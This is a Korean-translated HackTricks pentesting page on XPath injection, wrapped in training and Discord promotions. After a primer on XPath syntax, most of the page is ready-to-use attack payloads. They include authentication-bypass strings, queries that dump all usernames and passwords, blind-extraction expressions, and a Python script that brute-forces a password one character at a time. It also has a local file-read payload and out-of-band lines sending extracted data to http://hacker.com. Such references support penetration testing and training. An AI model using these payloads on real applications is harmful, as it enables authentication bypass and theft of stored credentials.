# XPATH injection {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! **Hacking Insights**\ Engage with content that delves into the thrill and challenges of hacking **Real-Time Hack News**\ Keep up-to-date with fast-paced hacking world through real-time news and insights **Latest Announcements**\ Stay informed with the newest bug bounties launching and crucial platform updates **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! ## Basic Syntax μ‚¬μš©μž μž…λ ₯을 기반으둜 XPath (XML Path Language) 쿼리λ₯Ό ν˜•μ„±ν•˜μ—¬ XML λ¬Έμ„œλ₯Ό μΏΌλ¦¬ν•˜κ±°λ‚˜ νƒμƒ‰ν•˜λŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ 취약점을 μ΄μš©ν•˜λŠ” 곡격 기법인 XPath Injection이 μ‚¬μš©λ©λ‹ˆλ‹€. ### Nodes Described ν‘œν˜„μ‹μ€ XML λ¬Έμ„œμ—μ„œ λ‹€μ–‘ν•œ λ…Έλ“œλ₯Ό μ„ νƒν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. μ΄λŸ¬ν•œ ν‘œν˜„μ‹κ³Ό κ·Έ μ„€λͺ…은 μ•„λž˜μ— μš”μ•½λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€: * **nodename**: "nodename"μ΄λΌλŠ” 이름을 가진 λͺ¨λ“  λ…Έλ“œκ°€ μ„ νƒλ©λ‹ˆλ‹€. * **/**: 루트 λ…Έλ“œμ—μ„œ 선택이 μ΄λ£¨μ–΄μ§‘λ‹ˆλ‹€. * **//**: ν˜„μž¬ λ…Έλ“œμ—μ„œ 선택과 μΌμΉ˜ν•˜λŠ” λ…Έλ“œκ°€ λ¬Έμ„œ λ‚΄ μœ„μΉ˜μ— 관계없이 μ„ νƒλ©λ‹ˆλ‹€. * **.**: ν˜„μž¬ λ…Έλ“œκ°€ μ„ νƒλ©λ‹ˆλ‹€. * **..**: ν˜„μž¬ λ…Έλ“œμ˜ λΆ€λͺ¨κ°€ μ„ νƒλ©λ‹ˆλ‹€. * **@**: 속성이 μ„ νƒλ©λ‹ˆλ‹€. ### XPath Examples 경둜 ν‘œν˜„μ‹κ³Ό κ·Έ 결과의 μ˜ˆλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€: * **bookstore**: "bookstore"λΌλŠ” 이름을 가진 λͺ¨λ“  λ…Έλ“œκ°€ μ„ νƒλ©λ‹ˆλ‹€. * **/bookstore**: 루트 μš”μ†Œ bookstoreκ°€ μ„ νƒλ©λ‹ˆλ‹€. μŠ¬λž˜μ‹œ (/)둜 μ‹œμž‘ν•˜λŠ” κ²½λ‘œλŠ” μš”μ†Œμ— λŒ€ν•œ μ ˆλŒ€ 경둜λ₯Ό λ‚˜νƒ€λƒ…λ‹ˆλ‹€. * **bookstore/book**: bookstore의 μžμ‹μΈ λͺ¨λ“  book μš”μ†Œκ°€ μ„ νƒλ©λ‹ˆλ‹€. * **//book**: λ¬Έμ„œ λ‚΄ λͺ¨λ“  book μš”μ†Œκ°€ μ„ νƒλ©λ‹ˆλ‹€, μœ„μΉ˜μ— 관계없이. * **bookstore//book**: bookstore μš”μ†Œμ˜ μžμ†μΈ λͺ¨λ“  book μš”μ†Œκ°€ μ„ νƒλ©λ‹ˆλ‹€, bookstore μš”μ†Œ μ•„λž˜μ˜ μœ„μΉ˜μ— 관계없이. * **//@lang**: langμ΄λΌλŠ” 이름을 가진 λͺ¨λ“  속성이 μ„ νƒλ©λ‹ˆλ‹€. ### Utilization of Predicates 선택을 μ„ΈλΆ„ν™”ν•˜κΈ° μœ„ν•΄ μˆ μ–΄κ°€ μ‚¬μš©λ©λ‹ˆλ‹€: * **/bookstore/book\[1]**: bookstore μš”μ†Œμ˜ 첫 번째 book μš”μ†Œ μžμ‹μ΄ μ„ νƒλ©λ‹ˆλ‹€. IE 버전 5μ—μ„œ 9κΉŒμ§€μ˜ 경우 첫 번째 λ…Έλ“œλ₯Ό \[0]으둜 μΈλ±μ‹±ν•˜λŠ” 문제λ₯Ό ν•΄κ²°ν•˜κΈ° μœ„ν•΄ JavaScriptλ₯Ό 톡해 SelectionLanguageλ₯Ό XPath둜 μ„€μ •ν•©λ‹ˆλ‹€. * **/bookstore/book\[last()]**: bookstore μš”μ†Œμ˜ λ§ˆμ§€λ§‰ book μš”μ†Œ μžμ‹μ΄ μ„ νƒλ©λ‹ˆλ‹€. * **/bookstore/book\[last()-1]**: bookstore μš”μ†Œμ˜ λμ—μ„œ 두 번째 book μš”μ†Œ μžμ‹μ΄ μ„ νƒλ©λ‹ˆλ‹€. * **/bookstore/book\[position()<3]**: bookstore μš”μ†Œμ˜ 첫 두 book μš”μ†Œ μžμ‹μ΄ μ„ νƒλ©λ‹ˆλ‹€. * **//title\[@lang]**: lang 속성이 μžˆλŠ” λͺ¨λ“  title μš”μ†Œκ°€ μ„ νƒλ©λ‹ˆλ‹€. * **//title\[@lang='en']**: "lang" 속성 값이 "en"인 λͺ¨λ“  title μš”μ†Œκ°€ μ„ νƒλ©λ‹ˆλ‹€. * **/bookstore/book\[price>35.00]**: 가격이 35.00보닀 큰 bookstore의 λͺ¨λ“  book μš”μ†Œκ°€ μ„ νƒλ©λ‹ˆλ‹€. * **/bookstore/book\[price>35.00]/title**: 가격이 35.00보닀 큰 bookstore의 book μš”μ†Œμ˜ λͺ¨λ“  title μš”μ†Œκ°€ μ„ νƒλ©λ‹ˆλ‹€. ### Handling of Unknown Nodes μ™€μΌλ“œμΉ΄λ“œλŠ” μ•Œ 수 μ—†λŠ” λ…Έλ“œλ₯Ό λ§€μΉ­ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€: * **\***: λͺ¨λ“  μš”μ†Œ λ…Έλ“œμ™€ μΌμΉ˜ν•©λ‹ˆλ‹€. * **@**\*: λͺ¨λ“  속성 λ…Έλ“œμ™€ μΌμΉ˜ν•©λ‹ˆλ‹€. * **node()**: λͺ¨λ“  μ’…λ₯˜μ˜ λ…Έλ“œμ™€ μΌμΉ˜ν•©λ‹ˆλ‹€. μΆ”κ°€ μ˜ˆλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€: * **/bookstore/\***: bookstore μš”μ†Œμ˜ λͺ¨λ“  μžμ‹ μš”μ†Œ λ…Έλ“œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€. * **//\***: λ¬Έμ„œ λ‚΄ λͺ¨λ“  μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€. * **//title\[@\*]**: μ΅œμ†Œν•œ ν•˜λ‚˜μ˜ 속성이 μžˆλŠ” λͺ¨λ“  title μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€. ## Example ```xml pepe peponcio admin mark m12345 regular fino fino2 regular ``` ### 정보에 μ ‘κ·Όν•˜κΈ° ``` All names - [pepe, mark, fino] name //name //name/node() //name/child::node() user/name user//name /user/name //user/name All values - [pepe, peponcio, admin, mark, ...] //user/node() //user/child::node() Positions //user[position()=1]/name #pepe //user[last()-1]/name #mark //user[position()=1]/child::node()[position()=2] #peponcio (password) Functions count(//user/node()) #3*3 = 9 (count all values) string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4 substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a" ``` ### μŠ€ν‚€λ§ˆ 식별 및 νƒˆμ·¨ ```python and count(/*) = 1 #root and count(/*[1]/*) = 2 #count(root) = 2 (a,c) and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b) and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0 and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f) and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0 and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0 and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g) and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0 #The previous solutions are the representation of a schema like the following #(at this stage we don't know the name of the tags, but jus the schema) and name(/*[1]) = "root" #Confirm the name of the first tag is "root" and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `` is "a" and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag ``is codepoint 105 ("i") (https://codepoints.net/) #Stealing the schema via OOB doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) ``` ## 인증 우회 ### **쿼리 μ˜ˆμ‹œ:** ``` string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text()) $q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]'; ``` ### **μ‚¬μš©μž 이름과 λΉ„λ°€λ²ˆν˜Έμ—μ„œ OR 우회 (두 값이 동일함)** ``` ' or '1'='1 " or "1"="1 ' or ''=' " or ""=" string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text()) Select account Select the account using the username and use one of the previous values in the password field ``` ### **널 μ£Όμž… μ•…μš©** ``` Username: ' or 1]%00 ``` ### **μ‚¬μš©μž 이름 λ˜λŠ” λΉ„λ°€λ²ˆν˜Έμ—μ„œμ˜ 이쀑 OR** (μ·¨μ•½ν•œ ν•„λ“œκ°€ ν•˜λ‚˜λ§Œ μžˆμ–΄λ„ μœ νš¨ν•¨) μ€‘μš”: **"and"κ°€ 첫 번째둜 μˆ˜ν–‰λ˜λŠ” μ—°μ‚°μž„**을 μ£Όμ˜ν•˜μ„Έμš”. ``` Bypass with first match (This requests are also valid without spaces) ' or /* or ' ' or "a" or ' ' or 1 or ' ' or true() or ' string(//user[name/text()='' or true() or '' and password/text()='']/account/text()) Select account 'or string-length(name(.))<10 or' #Select account with length(name)<10 'or contains(name,'adm') or' #Select first account having "adm" in the name 'or contains(.,'adm') or' #Select first account having "adm" in the current value 'or position()=2 or' #Select 2ΒΊ account string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text()) Select account (name known) admin' or ' admin' or '1'='2 string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text()) ``` ## λ¬Έμžμ—΄ μΆ”μΆœ 좜λ ₯μ—λŠ” λ¬Έμžμ—΄μ΄ ν¬ν•¨λ˜μ–΄ 있으며 μ‚¬μš©μžλŠ” 값을 μ‘°μž‘ν•˜μ—¬ 검색할 수 μžˆμŠ΅λ‹ˆλ‹€: ``` /user/username[contains(., '+VALUE+')] ``` ``` ') or 1=1 or (' #Get all names ') or 1=1] | //user/password[('')=(' #Get all names and passwords ') or 2=1] | //user/node()[('')=(' #Get all values ')] | //./node()[('')=(' #Get all values ')] | //node()[('')=(' #Get all values ') or 1=1] | //user/password[('')=(' #Get all names and passwords ')] | //password%00 #All names and passwords (abusing null injection) ')]/../*[3][text()!=(' #All the passwords ')] | //user/*[1] | a[(' #The ID of all users ')] | //user/*[2] | a[(' #The name of all users ')] | //user/*[3] | a[(' #The password of all users ')] | //user/*[4] | a[(' #The account of all users ``` ## λΈ”λΌμΈλ“œ μ΅μŠ€ν”Œλ‘œμ΄ν…Œμ΄μ…˜ ### **κ°’μ˜ 길이λ₯Ό μ–»κ³  비ꡐλ₯Ό 톡해 μΆ”μΆœν•˜κΈ°:** ```bash ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4 ' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a" substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) ... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value ``` ### **파이썬 예제** ```python import requests, string flag = "" l = 0 alphabet = string.ascii_letters + string.digits + "{}_()" for i in range(30): r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) if ("TRUE_COND" in r.text): l = i break print("[+] Password length: " + str(l)) for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) for al in alphabet: r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al) if ("TRUE_COND" in r.text): flag += al print("[+] Flag: " + flag) break ``` ### 파일 읽기 ```python (substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127 ``` ## OOB μ΅μŠ€ν”Œλ‘œμž‡ ```python doc(concat("http://hacker.com/oob/", RESULTS)) doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username)) doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username))) #Instead of doc() you can use the function doc-available doc-available(concat("http://hacker.com/oob/", RESULTS)) #the doc available will respond true or false depending if the doc exists, #user not(doc-available(...)) to invert the result if you need to ``` ### μžλ™ 도ꡬ * [xcat](https://xcat.readthedocs.io/) * [xxxpwn](https://github.com/feakk/xxxpwn) * [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn\_smart) * [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer) * [XmlChor](https://github.com/Harshal35/XMLCHOR) ## μ°Έκ³  λ¬Έν—Œ * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection) * [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\)) * [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
κ²½ν—˜μ΄ ν’λΆ€ν•œ 해컀 및 버그 λ°”μš΄ν‹° ν—Œν„°μ™€ μ†Œν†΅ν•˜κΈ° μœ„ν•΄ [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) μ„œλ²„μ— μ°Έμ—¬ν•˜μ„Έμš”! **ν•΄ν‚Ή 톡찰λ ₯**\ ν•΄ν‚Ήμ˜ 슀릴과 도전에 λŒ€ν•΄ 깊이 μžˆλŠ” μ½˜ν…μΈ μ— μ°Έμ—¬ν•˜μ„Έμš”. **μ‹€μ‹œκ°„ ν•΄ν‚Ή λ‰΄μŠ€**\ μ‹€μ‹œκ°„ λ‰΄μŠ€μ™€ 톡찰λ ₯을 톡해 λΉ λ₯΄κ²Œ λ³€ν™”ν•˜λŠ” ν•΄ν‚Ή 세계λ₯Ό μ΅œμ‹  μƒνƒœλ‘œ μœ μ§€ν•˜μ„Έμš”. **μ΅œμ‹  곡지사항**\ μƒˆλ‘œμš΄ 버그 λ°”μš΄ν‹° μΆœμ‹œ 및 μ€‘μš”ν•œ ν”Œλž«νΌ μ—…λ°μ΄νŠΈμ— λŒ€ν•œ 정보λ₯Ό μœ μ§€ν•˜μ„Έμš”. **μ§€κΈˆ** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 μ°Έμ—¬ν•˜κ³  μ˜€λŠ˜λ‚  졜고의 해컀듀과 ν˜‘λ ₯ν•˜μ„Έμš”! {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * πŸ’¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포지토리에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŠΈλ¦­μ„ κ³΅μœ ν•˜μ„Έμš”.
{% endhint %}